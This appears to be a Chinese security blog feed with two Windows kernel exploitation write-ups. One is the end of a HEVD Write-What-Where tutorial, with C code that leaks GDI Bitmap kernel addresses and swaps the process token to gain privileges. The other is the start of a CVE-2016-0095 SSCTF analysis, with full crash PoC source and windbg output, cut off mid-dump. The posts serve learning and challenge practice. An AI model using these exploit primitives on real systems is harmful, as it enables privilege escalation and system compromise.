nSize);</span><br><span class="line">PSHAREDINFO pfindSharedInfo = (PSHAREDINFO)GetProcAddress(</span><br><span class="line">GetModuleHandleW(<span class="string">L"user32.dll"</span>), </span><br><span class="line"><span class="string">"gSharedInfo"</span>);</span><br><span class="line">PUSER_HANDLE_ENTRY handleTable = pfindSharedInfo-&gt;aheList;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; <span class="number">0x3</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line">hAccel = CreateAcceleratorTable(lPaccel, nSize);</span><br><span class="line">leakaddr = &amp;handleTable[LOWORD(hAccel)];</span><br><span class="line">DWORD64 addr = (DWORD64)(leakaddr-&gt;pKernel);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]leak address : 0x%p"</span>, leakaddr-&gt;pKernel);</span><br><span class="line">DestroyAcceleratorTable(hAccel);</span><br><span class="line"><span class="keyword">if</span>(i = <span class="number">3</span>)</span><br><span class="line">&#123;</span><br><span class="line">CreateBitmap(<span class="number">0x710</span>, <span class="number">0x2</span>, <span class="number">0x1</span>, <span class="number">0x8</span>, <span class="literal">NULL</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行一下查看结果，确实泄露了什么东西出来</p><p><img src="/2019/08/19/www漏洞从win7-win10/8.png" alt="1564969195115"></p><p>解读一下上面的代码，我们首先创建了一块内存，其中的nSize选择了700的大小，因为后面我们使用<code>CreateBitmap</code>创建的对象传入的第一个参数是0x710，关于<code>CreateBitmap</code>中第一个参数<code>width</code>对生成对象的影响我就不过多阐述了，实验加上<a href="https://docs.microsoft.com/en-us/previous-versions/aa929704(v=msdn.10" target="_blank" rel="noopener">官方文档</a>)可以给我们解释，然后我们获取了 user32.dll 中的  gSharedInfo 对象，我们在一个循环里使用 CreateAcceleratorTable 和 DestroyAcceleratorTable 不断创建释放了 hAccel 结构，其中计算的过程和我们泄露bitmap地址的过程类似，这里就会产生一个疑问，这个泄露的东西为什么和我们的 Bitmap 一样呢，要知道我们每次创建释放hAccel时候地址是固定的(你可以多打印几次进行实验)，并且这个对象也是分配在会话池(sesssion pool)，大小又相等，池类型又相同，如果我们申请了一块然后释放了，再用bitmap申请岂不是就可以申请到我们想要的地方，泄露的地址也就是bitmap的地址了，我们这里为了使得到的地址固定，堆喷射后使用了一个判断语句判断是否得到了稳定的地址，得到之后我们再加上相应的偏移也就是我们的 PrvScan0 了，于是我们构造如下代码片段</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">LeakBitmapInfo <span class="title">GetBitmap</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">UINT loadCount = <span class="number">0</span>;</span><br><span class="line">HACCEL hAccel = <span class="literal">NULL</span>;</span><br><span class="line">LPACCEL lPaccel = <span class="literal">NULL</span>;</span><br><span class="line">PUSER_HANDLE_ENTRY firstEntryAddr = <span class="literal">NULL</span>;</span><br><span class="line">PUSER_HANDLE_ENTRY secondEntryAddr = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">int</span> nSize = <span class="number">700</span>;</span><br><span class="line"><span class="keyword">int</span> handleIndex = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">PUCHAR firstAccelKernelAddr;</span><br><span class="line">PUCHAR secondAccelKernelAddr;</span><br><span class="line"></span><br><span class="line">PSHAREDINFO pfindSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandle(<span class="string">L"user32.dll"</span>), <span class="string">"gSharedInfo"</span>);<span class="comment">// 获取gSharedInfo表</span></span><br><span class="line">PUSER_HANDLE_ENTRY gHandleTable = pfindSharedInfo-&gt;aheList;</span><br><span class="line">LeakBitmapInfo retBitmap;</span><br><span class="line"></span><br><span class="line">lPaccel = (LPACCEL)LocalAlloc(LPTR, <span class="keyword">sizeof</span>(ACCEL) * nSize);</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> (loadCount &lt; <span class="number">20</span>)</span><br><span class="line">&#123;</span><br><span class="line">hAccel = CreateAcceleratorTable(lPaccel, nSize);</span><br><span class="line"></span><br><span class="line">handleIndex = LOWORD(hAccel);</span><br><span class="line"></span><br><span class="line">firstEntryAddr = &amp;gHandleTable[handleIndex];</span><br><span class="line"></span><br><span class="line">firstAccelKernelAddr = (PUCHAR)firstEntryAddr-&gt;pKernel;</span><br><span class="line">DestroyAcceleratorTable(hAccel);</span><br><span class="line"></span><br><span class="line">hAccel = CreateAcceleratorTable(lPaccel, nSize);</span><br><span class="line"></span><br><span class="line">handleIndex = LOWORD(hAccel);</span><br><span class="line"></span><br><span class="line">secondEntryAddr = &amp;gHandleTable[handleIndex];</span><br><span class="line"></span><br><span class="line">secondAccelKernelAddr = (PUCHAR)firstEntryAddr-&gt;pKernel;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (firstAccelKernelAddr == secondAccelKernelAddr)</span><br><span class="line">&#123;</span><br><span class="line">DestroyAcceleratorTable(hAccel);</span><br><span class="line">LPVOID lpBuf = VirtualAlloc(<span class="literal">NULL</span>, <span class="number">0x50</span> * <span class="number">2</span> * <span class="number">4</span>, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);</span><br><span class="line">retBitmap.hBitmap = CreateBitmap(<span class="number">0x701</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="number">8</span>, lpBuf); </span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">DestroyAcceleratorTable(hAccel);</span><br><span class="line">loadCount++;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">retBitmap.pBitmapPvScan0 = firstAccelKernelAddr + <span class="number">0x50</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]bitmap handle is:  0x%08x \n"</span>, (ULONG)retBitmap.hBitmap);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]bitmap pvScan0 at: 0x%p \n\n"</span>, retBitmap.pBitmapPvScan0);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> retBitmap;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>泄露了之后就好办了，也就是只需要替换一个token就行了，我这里用的是read和write函数不断的进行汇编shellcode的模仿，在ring3层实现了对token的替换，这样我们就可以不加入我们的shellcode从而提权，而这种方法也不需要考虑堆栈平衡，非常的方便，其中获取系统的一些信息的时候使用了<code>NtQuerySystemInformation</code>这个函数，通过它可以给我们提供很多的系统信息，具体的可以参阅<a href="https://docs.microsoft.com/zh-cn/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation" target="_blank" rel="noopener">官方文档</a></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">__<span class="function">kernel_entry NTSTATUS <span class="title">NtQuerySystemInformation</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">  IN SYSTEM_INFORMATION_CLASS SystemInformationClass,</span></span></span><br><span class="line"><span class="function"><span class="params">  OUT PVOID                   SystemInformation,</span></span></span><br><span class="line"><span class="function"><span class="params">  IN ULONG                    SystemInformationLength,</span></span></span><br><span class="line"><span class="function"><span class="params">  OUT PULONG                  ReturnLength</span></span></span><br><span class="line"><span class="function"><span class="params">)</span></span>;</span><br></pre></td></tr></table></figure><p>最后整合一下思路：</p><ul><li>初始化句柄等结构</li><li>通过<code>gSharedInfo</code>对象来泄露我们的Bitmap地址</li><li>调用<code>TriggerArbitraryOverwrite</code>函数将一个pvScan0指向另一个pvScan0</li><li>通过不断的read和write，模拟token的替换，从而提权</li></ul><p>最后整合一下代码即可实现利用，整体代码和验证结果参考 =&gt; <a href="https://github.com/ThunderJie/Write-What-Where" target="_blank" rel="noopener">这里</a></p><h1 id="0x03：Windows-10-后续版本的猜想"><a href="#0x03：Windows-10-后续版本的猜想" class="headerlink" title="0x03：Windows 10 后续版本的猜想"></a>0x03：Windows 10 后续版本的猜想</h1><h2 id="RS2"><a href="#RS2" class="headerlink" title="RS2"></a>RS2</h2><p>RS2版本中貌似将我们的 pkernel 指针给移除了，也就是说我们不能再通过 gSharedInfo 结构来泄露我们的内核地址了，不过有前辈们用<code>tagCLS</code>对象及<code>lpszMenuName</code>对象泄露了内核地址，能够泄露的话其实其他地方都好办了，泄露的方法我这里简单提一下，首先我们需要找到<code>HMValidateHandle</code>函数的地址，这个函数我们只需要传入一个窗口句柄，他就会返回在桌面堆中的<code>tagWND</code>对象指针，而通过这个指针我们就可以泄露出内核地址，这个函数地址我们可以通过<code>IsMenu</code>这个用户态函数获取到，我们来看一下函数的内容，可以看到 call 之后会调用到<code>HMValidateHandle</code>这个函数，那么我们只需要通过硬编码计算，获取 e8(call) 之后的几个字节地址就行了 </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">kd&gt; u user32!IsMenu</span><br><span class="line">USER32!IsMenu:</span><br><span class="line">00007fff`17d489e0 4883ec28        sub     rsp,28h</span><br><span class="line">00007fff`17d489e4 b202            mov     dl,2</span><br><span class="line">00007fff`17d489e6 e805380000      call    USER32!HMValidateHandle (00007fff`17d4c1f0)</span><br><span class="line">00007fff`17d489eb 33c9            xor     ecx,ecx</span><br><span class="line">00007fff`17d489ed 4885c0          test    rax,rax</span><br><span class="line">00007fff`17d489f0 0f95c1          setne   cl</span><br><span class="line">00007fff`17d489f3 8bc1            mov     eax,ecx</span><br><span class="line">00007fff`17d489f5 4883c428        add     rsp,28h</span><br></pre></td></tr></table></figure><p>获取到<code>HMValidateHandle</code>函数之后我们只需要再进行一系列的计算获取<code>lpszMenuName</code>对象的地址，我们可以依据下图 Morten 所说的计算过程计算出<code>Client delta</code></p><p><img src="/2019/08/19/www漏洞从win7-win10/13.png" alt="1565142151413"></p><p>获取到了之后我们只需要和前面一样进行堆喷加上判断就能够泄露出Bitmap的地址，还需要注意的是偏移的问题，需要简要修改，下面是1703的一些偏移</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">2: kd&gt; dt nt!_EPROCESS uniqueprocessid token activeprocesslinks</span><br><span class="line">   +0x2e0 UniqueProcessId    : Ptr64 Void</span><br><span class="line">   +0x2e8 ActiveProcessLinks : _LIST_ENTRY</span><br><span class="line">   +0x358 Token              : _EX_FAST_REF</span><br></pre></td></tr></table></figure><h2 id="RS3"><a href="#RS3" class="headerlink" title="RS3"></a>RS3</h2><p>RS3版本中 PvScan0 已经放进了堆中，既然是堆的话，又让人想到了堆喷射控制内核池，总之可以尝试一下这种方法</p><p><img src="/2019/08/19/www漏洞从win7-win10/9.png" alt="1564977577246"></p><p>但是前辈们总有奇特的想法，又找到了另外一个对象 platte ，它类似与 bitmap 结构，可以用 <code>CreatePalette</code> 函数创建，结构如下</p><p><img src="/2019/08/19/www漏洞从win7-win10/10.png" alt="1564986199191"></p><p>任意读写的方法只是改为了<code>GetPaletteEntries</code>和<code>SetPaletteEntries</code>，以后可以尝试一下这个思路</p><p><img src="/2019/08/19/www漏洞从win7-win10/11.png" alt="1564986238536"></p><h1 id="0x03：后记"><a href="#0x03：后记" class="headerlink" title="0x03：后记"></a>0x03：后记</h1><p>利用里面，win8.1的坑比较多，和win7比起来差距有点大，需要细心调试，更往后的版本主要是参阅外国的文献，以后有时间再来实践</p><p>参考资料：</p><p>[+] SMEP原理及绕过：<a href="http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html" target="_blank" rel="noopener">http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html</a></p><p>[+] ROP的选择：<a href="http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html" target="_blank" rel="noopener">http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html</a></p><p>[+] Bitmap结构出处：<a href="http://gflow.co.kr/window-kernel-exploit-gdi-bitmap-abuse/" target="_blank" rel="noopener">http://gflow.co.kr/window-kernel-exploit-gdi-bitmap-abuse/</a></p><p>[+] wjllz师傅的博客：<a href="https://redogwu.github.io/" target="_blank" rel="noopener">https://redogwu.github.io/</a></p><p>[+] 参阅过的pdf：<a href="https://github.com/ThunderJie/Study_pdf" target="_blank" rel="noopener">https://github.com/ThunderJie/Study_pdf</a></p><p>[+] RS2上的利用分析：<a href="https://www.anquanke.com/post/id/168441#h2-3" target="_blank" rel="noopener">https://www.anquanke.com/post/id/168441#h2-3</a></p><p>[+] RS3上 platte 对象的利用分析：<a href="https://www.anquanke.com/post/id/168572" target="_blank" rel="noopener">https://www.anquanke.com/post/id/168572</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;0x00：前言&quot;&gt;&lt;a href=&quot;#0x00：前言&quot; class=&quot;headerlink&quot; title=&quot;0x00：前言&quot;&gt;&lt;/a&gt;0x00：前言&lt;/h1&gt;&lt;p&gt;本篇文章主要分享HEVD这个Windows内核漏洞训练项目中的Write-What-Where漏洞在
      
    
    </summary>
    
      <category term="Windows Kernel" scheme="https://thunderjie.github.io/categories/Windows-Kernel/"/>
    
      <category term="Learning" scheme="https://thunderjie.github.io/categories/Windows-Kernel/Learning/"/>
    
    
      <category term="Write What Where" scheme="https://thunderjie.github.io/tags/Write-What-Where/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2016-0095 SSCTF Kernel Pwn Learning</title>
    <link href="https://thunderjie.github.io/2019/08/19/CVE-2016-0095-SSCTF%20Kernel%20Pwn%20Learning/"/>
    <id>https://thunderjie.github.io/2019/08/19/CVE-2016-0095-SSCTF Kernel Pwn Learning/</id>
    <published>2019-08-19T14:21:37.000Z</published>
    <updated>2020-05-07T03:25:57.103Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0x00：前言"><a href="#0x00：前言" class="headerlink" title="0x00：前言"></a>0x00：前言</h1><p>本篇文章从SSCTF中的一道Kernel Pwn题目来分析CVE-2016-0095(MS16-034)，CVE-2016-0095是一个内核空指针解引用的漏洞，这道题目给了poc，要求我们根据poc写出相应的exploit，利用平台是Windows 7 x86 sp1(未打补丁)</p><h1 id="0x01：漏洞原理"><a href="#0x01：漏洞原理" class="headerlink" title="0x01：漏洞原理"></a>0x01：漏洞原理</h1><p>题目给了我们一个poc的源码，我们查看一下源码，这里我稍微对源码进行了修复，在VS上测试可以编译运行</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">* Author: bee13oy of CloverSec Labs</span></span><br><span class="line"><span class="comment">* BSoD on Windows 7 SP1 x86 / Windows 10 x86</span></span><br><span class="line"><span class="comment">* EoP to SYSTEM on Windows 7 SP1 x86</span></span><br><span class="line"><span class="comment">**/</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;Windows.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> comment(lib, <span class="meta-string">"gdi32.lib"</span>)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> comment(lib, <span class="meta-string">"user32.lib"</span>)</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifndef</span> W32KAPI</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> W32KAPI  DECLSPEC_ADDRSAFE</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="title">demo_CreateBitmapIndirect</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line"><span class="keyword">static</span> BITMAP bitmap = &#123; <span class="number">0</span>, <span class="number">8</span>, <span class="number">8</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="number">1</span> &#125;;</span><br><span class="line"><span class="keyword">static</span> BYTE bits[<span class="number">8</span>][<span class="number">2</span>] = &#123; <span class="number">0xFF</span>, <span class="number">0</span>, <span class="number">0x0C</span>, <span class="number">0</span>, <span class="number">0x0C</span>, <span class="number">0</span>, <span class="number">0x0C</span>, <span class="number">0</span>,</span><br><span class="line"><span class="number">0xFF</span>, <span class="number">0</span>, <span class="number">0xC0</span>, <span class="number">0</span>, <span class="number">0xC0</span>, <span class="number">0</span>, <span class="number">0xC0</span>, <span class="number">0</span> &#125;;</span><br><span class="line"></span><br><span class="line">bitmap.bmBits = bits;</span><br><span class="line"></span><br><span class="line">SetLastError(NO_ERROR);</span><br><span class="line"></span><br><span class="line">HBITMAP hBitmap = CreateBitmapIndirect(&amp;bitmap);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> (<span class="keyword">unsigned</span> <span class="keyword">int</span>)hBitmap;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> eSyscall_NtGdiSetBitmapAttributes 0x1110</span></span><br><span class="line"></span><br><span class="line"><span class="function">W32KAPI HBITMAP NTAPI <span class="title">NtGdiSetBitmapAttributes</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">HBITMAP argv0,</span></span></span><br><span class="line"><span class="function"><span class="params">DWORD argv1</span></span></span><br><span class="line"><span class="function"><span class="params">)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">HMODULE _H_NTDLL = <span class="literal">NULL</span>;</span><br><span class="line">PVOID addr_kifastsystemcall = <span class="literal">NULL</span>;</span><br><span class="line">_H_NTDLL = LoadLibrary(TEXT(<span class="string">"ntdll.dll"</span>));</span><br><span class="line">addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, <span class="string">"KiFastSystemCall"</span>);</span><br><span class="line">__asm</span><br><span class="line">&#123;</span><br><span class="line">push argv1;</span><br><span class="line">push argv0;</span><br><span class="line">push <span class="number">0x00</span>;</span><br><span class="line">mov eax, eSyscall_NtGdiSetBitmapAttributes;</span><br><span class="line">mov edx, addr_kifastsystemcall;</span><br><span class="line">call edx;</span><br><span class="line">add esp, <span class="number">0x0c</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">Trigger_BSoDPoc</span><span class="params">()</span> </span>&#123;</span><br><span class="line">HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();</span><br><span class="line">HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)<span class="number">0x8f9</span>);</span><br><span class="line"></span><br><span class="line">RECT rect = &#123; <span class="number">0</span> &#125;;</span><br><span class="line">rect.left = <span class="number">0x368c</span>;</span><br><span class="line">rect.top = <span class="number">0x400000</span>;</span><br><span class="line">HRGN hRgn = (HRGN)CreateRectRgnIndirect(&amp;rect);</span><br><span class="line"></span><br><span class="line">HDC hdc = (HDC)CreateCompatibleDC((HDC)<span class="number">0x0</span>);</span><br><span class="line">SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);</span><br><span class="line"></span><br><span class="line">HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)<span class="number">0x00edfc13</span>);</span><br><span class="line"></span><br><span class="line">FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">Trigger_BSoDPoc();</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>编译之后在win 7 x86中运行发现蓝屏，我们在windbg中回溯一下，可以发现我们最后问题出在在win32k模块中的<code>bGetRealizedBrush</code>函数</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">3: kd&gt; g</span><br><span class="line">Access violation - code c0000005 (!!! second chance !!!)</span><br><span class="line">win32k!bGetRealizedBrush+0x38:</span><br><span class="line">95d40560 f6402401        test    byte ptr [eax+24h],1</span><br><span class="line">3: kd&gt; k</span><br><span class="line"> # ChildEBP RetAddr  </span><br><span class="line">00 97e509a0 95d434af win32k!bGetRealizedBrush+0x38</span><br><span class="line">01 97e509b8 95db9b5e win32k!pvGetEngRbrush+0x1f</span><br><span class="line">02 97e50a1c 95e3b6e8 win32k!EngBitBlt+0x337</span><br><span class="line">03 97e50a54 95e3bb9d win32k!EngPaint+0x51</span><br><span class="line">04 97e50c20 83e3f1ea win32k!NtGdiFillRgn+0x339</span><br><span class="line">05 97e50c20 77c170b4 nt!KiFastCallEntry+0x12a</span><br></pre></td></tr></table></figure><p>我们在此时在windbg中查看一下<code>byte ptr [eax+24h]</code>的内容，发现<code>eax+24</code>根本没有映射内存，此时的eax为0</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">3: kd&gt; dd eax+24</span><br><span class="line">00000024  ???????? ???????? ???????? ????????</span><br><span class="line">00000034  ???????? ???????? ???????? ????????</span><br><span class="line">00000044  ???????? ???????? ???????? ????????</span><br><span class="line">00000054  ???????? ???????? ???????? ????????</span><br><span class="line">00000064  ???????? ???????? ???????? ????????</span><br><span class="line">00000074  ???????? ???????? ???????? ????????</span><br><span class="line">00000084  ???????? ???????? ???????? ????????</span><br><span class="line">00000094  ???????? ???????? ???????? ????????</span><br><span class="line">3: kd&gt; r</span><br><span class="line">eax=00000000 ebx=97e50af8 ecx=00000001 edx=00000000 esi=00000000 edi=fe973ae8</span><br><span class="line">eip=95d40560 esp=97e50928 ebp=97e509a0 iopl=0         nv up ei pl zr na pe nc</span><br><span class="line">cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246</span><br><span class="line">win32k!bGetRealizedBrush+0x38:</span><br><span class="line">95d40560 f6402401        test    byte ptr [eax+24h],1       ds:0023:00000024=??</span><br></pre></td></tr></table></figure><p>我们在IDA中分析一下该函数的基本结构，首先我们可以得到这个函数有三个参数，两个结构体指针，一个函数指针，中间的哪个参数我重命名了一下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">stdcall <span class="title">bGetRealizedBrush</span><span class="params">(struct BRUSH *a1, struct EBRUSHOBJ *EBRUSHOBJ, <span class="keyword">int</span> (__stdcall *a3)(struct _BRUSHOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _XLATEOBJ *, <span class="keyword">unsigned</span> <span class="keyword">int</span>))</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们在汇编中找一下蓝屏代码的位置，继续追根溯源，可以发现eax是由<code>[ebx+34h]</code>得到的</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">loc_95D40543:</span><br><span class="line">push    ebx</span><br><span class="line">mov     ebx, [ebp+EBRUSHOBJ]</span><br><span class="line">push    esi</span><br><span class="line">xor     esi, esi</span><br><span class="line">mov     [ebp+var_24], eax</span><br><span class="line">mov     eax, [ebx+34h] =&gt; eax初始赋值处</span><br><span class="line">mov     [ebp+arg_0], esi</span><br><span class="line">mov     [ebp+var_2C], esi</span><br><span class="line">mov     [ebp+var_28], 0</span><br><span class="line">mov     eax, [eax+1Ch] =&gt; 取eax+1c处的内容</span><br><span class="line">mov     [ebp+EBRUSHOBJ], eax</span><br><span class="line">test    byte ptr [eax+24h], 1 =&gt; 蓝屏</span><br><span class="line">mov     [ebp+var_1C], esi</span><br><span class="line">mov     [ebp+var_10], esi</span><br><span class="line">jz      short loc_95D4057A</span><br></pre></td></tr></table></figure><p>我们在windbg中查询一下<code>[ebx+34h]</code>的结构，发现 +1c 处确实是零，直接拿来引用就会因为没有映射内存而崩溃</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">3: kd&gt; dd poi(ebx+34h)</span><br><span class="line">fdad0da8  288508aa 00000001 80000000 889c4800</span><br><span class="line">fdad0db8  00000000 288508aa 00000000 00000000</span><br><span class="line">fdad0dc8  00000008 00000008 00000020 fdad0efc</span><br><span class="line">fdad0dd8  fdad0efc 00000004 00002267 00000001</span><br><span class="line">fdad0de8  02010000 00000000 04000000 00000000</span><br><span class="line">fdad0df8  ffbff968 00000000 00000000 00000000</span><br><span class="line">fdad0e08  00000000 00000000 00000001 00000000</span><br><span class="line">fdad0e18  00000000 00000000 00000000 00000000</span><br><span class="line">3: kd&gt; dd poi(ebx+34h)+1c</span><br><span class="line">fdad0dc4  00000000 00000008 00000008 00000020</span><br><span class="line">fdad0dd4  fdad0efc fdad0efc 00000004 00002267</span><br><span class="line">fdad0de4  00000001 02010000 00000000 04000000</span><br><span class="line">fdad0df4  00000000 ffbff968 00000000 00000000</span><br><span class="line">fdad0e04  00000000 00000000 